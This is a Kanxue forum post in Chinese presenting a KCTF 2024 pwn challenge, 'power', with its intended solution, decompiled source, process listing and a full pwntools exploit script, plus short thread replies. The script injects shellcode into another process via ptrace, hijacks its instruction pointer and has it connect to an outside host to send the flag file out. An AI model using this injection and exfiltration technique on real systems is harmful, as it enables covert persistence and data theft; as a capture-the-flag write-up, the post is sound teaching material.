首页
社区
课程
招聘
[原创] 2024 KCTF大赛 参赛题目 - power
发表于: 2024-8-11 14:08 2447

[原创] 2024 KCTF大赛 参赛题目 - power

2024-8-11 14:08
2447

开启了 沙箱的 shellcode 题目,沙箱只允许 ptrace ,wait4,read 这三个系统调用使用

主要考点为权限维持中常用的 ptrace 注入木马到其它进程,如果进入 docker,会发现存在 sleep infinity 进程(pwn 题目 docker 都存在该进程)

而 sleep infinity 进程会卡在 pause 不执行,并且其 pid 在第一次 docker 启动时候是 15(如果打崩了可能会变成 14 或 16,测试发现只会是这三种 pid),是比较固定的,也不需要爆破,很适合进行木马注入

于是利用 PTRACE_POKETEXT 将 shellcode 写入到 libc 中具有 x 权限的内存段中,接着利用 PTRACE_SETREGS 和 PTRACE_DETACH 劫持其 rip 为 shellcode 起始地址,然后执行即可。

这里需要注意的是,利用 PTRACE_POKETEXT 写内存时候,不能直接使用 syscall,而是要使用其 ptrcae 函数。

同时需要注意下对齐,可以利用 dmesg 命令查看进程崩溃现象,就可以得到跳转的地址要 + 2

注入的 shellcode 为带 flag 到其它机器的监听端口上,即可读出 flag,需要 docker 能联网,并且执行 exp 时候需要调整下 ip 和 端口

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+0h] [rbp-10h]
 
  init(argc, argv, envp);
  buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  setup_seccomp();
  read(0, buf, 0x1000uLL);
  ((void (*)(void))buf)();
  munmap(buf, 0x1000uLL);
  return 0;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+0h] [rbp-10h]
 
  init(argc, argv, envp);
  buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  setup_seccomp();
  read(0, buf, 0x1000uLL);
  ((void (*)(void))buf)();
  munmap(buf, 0x1000uLL);
  return 0;
}
root@92545a25225b:/home/sectest# ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 04:42 ?        00:00:00 /bin/sh /start.sh
root          15       1  0 04:42 ?        00:00:00 sleep infinity
root          16       1  0 04:42 ?        00:00:00 /usr/sbin/xinetd -pidfile /run/xinetd.
root          17       0  2 04:42 pts/0    00:00:00 /bin/bash
root          25      17  0 04:42 pts/0    00:00:00 ps -ef
root@92545a25225b:/home/sectest# ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 04:42 ?        00:00:00 /bin/sh /start.sh
root          15       1  0 04:42 ?        00:00:00 sleep infinity
root          16       1  0 04:42 ?        00:00:00 /usr/sbin/xinetd -pidfile /run/xinetd.
root          17       0  2 04:42 pts/0    00:00:00 /bin/bash
root          25      17  0 04:42 pts/0    00:00:00 ps -ef
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
 
def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
 
context(os='linux', arch='amd64', log_level='debug')
p = remote('xxx', 9999)
#p = remote('127.0.0.1', 9999)
 
#elf_patch = './power'
#p = process(elf_patch)
#elf = ELF(elf_patch)
 
def reverse_groups(data):
    reversed_data = b''
    for i in range(0, len(data), 8):
        p_data = data[i:i+8]
        reversed_data += p_data[::-1]
    return reversed_data
 
PTRACE_TRACEME = 0
PTRACE_PEEKTEXT = 1
PTRACE_PEEKDATA = 2
PTRACE_PEEKUSER = 3
PTRACE_POKETEXT = 4
PTRACE_POKEDATA = 5
PTRACE_POKEUSER = 6
PTRACE_CONT = 7
PTRACE_SINGLESTEP = 9
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_SYSCALL = 24
 
#debug('b *$rebase(0x142f)')
 
pid = int(sys.argv[1])
 
# r10 -> user_regs
# r11 -> syscall_libc
# r12 -> sc_addr
# r15 -> ptrace_libc
 
# get ptrace_libc
sc = 'mov r15, rcx; add r15, 0x77ae;'
sc += shellcraft.ptrace(PTRACE_ATTACH, pid, 0, 0)
sc += shellcraft.wait4(pid, 0, 0)
# user_regs -> heap
sc += '''
mov r10, r8;
mov rcx, r10;
'''
sc += shellcraft.ptrace(PTRACE_GETREGS, pid, 0)
 
# get syscall_libc and sc_addr
sc += '''
mov r11, qword ptr [r10 + 128]
sub r11, 0xea5f7
add r11, 0x29db4
 
mov r12, qword ptr [r10 + 128]
sub r12, 0x1000
and r12, 0xfffffffffffff000
'''
 
# write shellcode
pid_sc = shellcraft.connect('xxx', 7777)
pid_sc += shellcraft.open('/home/sectest/flag', 0, 0)
pid_sc += shellcraft.sendfile(3, 4, 0, 0x100)
pid_sc += shellcraft.exit(0)
 
#pid_sc = 'push 0x1234; ret'
pid_sc = reverse_groups(asm(pid_sc)).hex()
 
sc += 'mov r13, r12; mov r14, r10'
for i in range(0, len(pid_sc), 16):
    data = int(pid_sc[i:i + 16], 16)
    sc += '''
    mov rax, 0x65;
    mov edi, 0x4;
    mov rsi, %s;
    mov rdx, r13;
    mov rcx, %s;
    call r15;
     
    add r13, 8;
    ''' % (str(pid), str(data))
 
sc += '''
mov rax, 0x65;
mov edi, 0x1;
mov rsi, %s;
mov rdx, r12;
mov rcx, 0;
call r15;
''' % (str(pid))
 
# exec shellcode
sc += '''
xor ecx, ecx;
mov r10, r14;
mov rcx, r10;
add r12, 2;
mov qword ptr [r10 + 128], r12;
'''
sc += shellcraft.ptrace(PTRACE_SETREGS, pid, 0)
sc += shellcraft.ptrace(PTRACE_DETACH, pid, 0, 0)
 
s(asm(sc))
print(pid)
pause()
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
 
def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
 
context(os='linux', arch='amd64', log_level='debug')
p = remote('xxx', 9999)
#p = remote('127.0.0.1', 9999)
 
#elf_patch = './power'
#p = process(elf_patch)
#elf = ELF(elf_patch)
 
def reverse_groups(data):
    reversed_data = b''
    for i in range(0, len(data), 8):
        p_data = data[i:i+8]
        reversed_data += p_data[::-1]
    return reversed_data
 
PTRACE_TRACEME = 0
PTRACE_PEEKTEXT = 1
PTRACE_PEEKDATA = 2
PTRACE_PEEKUSER = 3
PTRACE_POKETEXT = 4
PTRACE_POKEDATA = 5
PTRACE_POKEUSER = 6
PTRACE_CONT = 7
PTRACE_SINGLESTEP = 9

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-9-2 12:08 被kanxue编辑 ,原因:
上传的附件:
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 50161
活跃值: (20625)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
题目呢?请上传一下附件
2024-8-11 19:58
0
雪    币: 1021
活跃值: (515)
能力值: ( LV6,RANK:81 )
在线值:
发帖
回帖
粉丝
3
kanxue 题目呢?请上传一下附件
您好,已更新附件
2024-8-12 12:31
0
游客
登录 | 注册 方可回帖
返回
//